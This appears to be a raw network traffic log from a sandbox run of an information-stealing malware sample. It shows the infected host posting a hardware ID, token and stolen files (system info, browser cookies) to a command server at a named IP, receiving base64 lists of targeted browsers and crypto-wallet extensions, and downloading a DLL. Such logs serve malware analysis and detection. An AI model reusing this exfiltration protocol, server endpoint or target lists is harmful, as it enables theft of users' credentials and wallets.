Dec 7, 2024 22:40:08.349446058 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 30 46 46 43 41 31 33 35 32 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 4a 45 48 44 42 47 49 44 48 4a 4b 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="hwid"00FFCA1352801128056648------CAKKKJEHDBGIDHJKJDBFContent-Disposition: form-data; name="build"stok------CAKKKJEHDBGIDHJKJDBF--
Dec 7, 2024 22:40:08.800275087 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 49 30 4f 54 6c 6b 4e 7a 5a 6c 4d 7a 51 32 4d 6d 4d 34 4d 44 52 6d 4f 44 5a 6d 4d 6a 63 33 5a 47 56 6a 5a 57 59 35 4e 7a 56 69 59 6a 6b 77 4d 6a 41 33 4e 47 4e 6c 4d 44 4d 79 4f 44 67 34 4e 32 4a 6d 59 6a 51 78 59 6a 68 6a 5a 44 4d 32 4d 7a 46 6b 4d 47 45 77 59 57 49 35 4d 47 55 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTI0OTlkNzZlMzQ2MmM4MDRmODZmMjc3ZGVjZWY5NzViYjkwMjA3NGNlMDMyODg4N2JmYjQxYjhjZDM2MzFkMGEwYWI5MGU5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 7, 2024 22:40:08.804804087 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"browsers------BKJDGCGDAAAKECAKKJDA--
Dec 7, 2024 22:40:09.244663954 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 7, 2024 22:40:09.244687080 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 7, 2024 22:40:09.246165037 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 41 41 45 47 49 44 48 44 47 43 41 41 46 43 42 41 2d 2d 0d 0a Data Ascii: ------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="message"plugins------FHJDAAEGIDHDGCAAFCBA--
Dec 7, 2024 22:40:09.713107109 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 7, 2024 22:40:09.713272095 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 7, 2024 22:40:09.713284969 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 7, 2024 22:40:09.713546991 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 7, 2024 22:40:09.713578939 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 7, 2024 22:40:09.713591099 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 7, 2024 22:40:09.715770960 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"fplugins------AAAKEBGDAFHIIDHIIECF--
Dec 7, 2024 22:40:10.154582977 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 7, 2024 22:40:10.171752930 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 6087 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 22:40:10.171871901 CET	6087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 7, 2024 22:40:11.172208071 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:11.774873018 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 22:40:12.211838007 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 7, 2024 22:40:12.211930037 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 7, 2024 22:40:12.216052055 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 7, 2024 22:40:12.216145992 CET	372	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49743	185.215.113.206	80	4340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:40:21.395139933 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 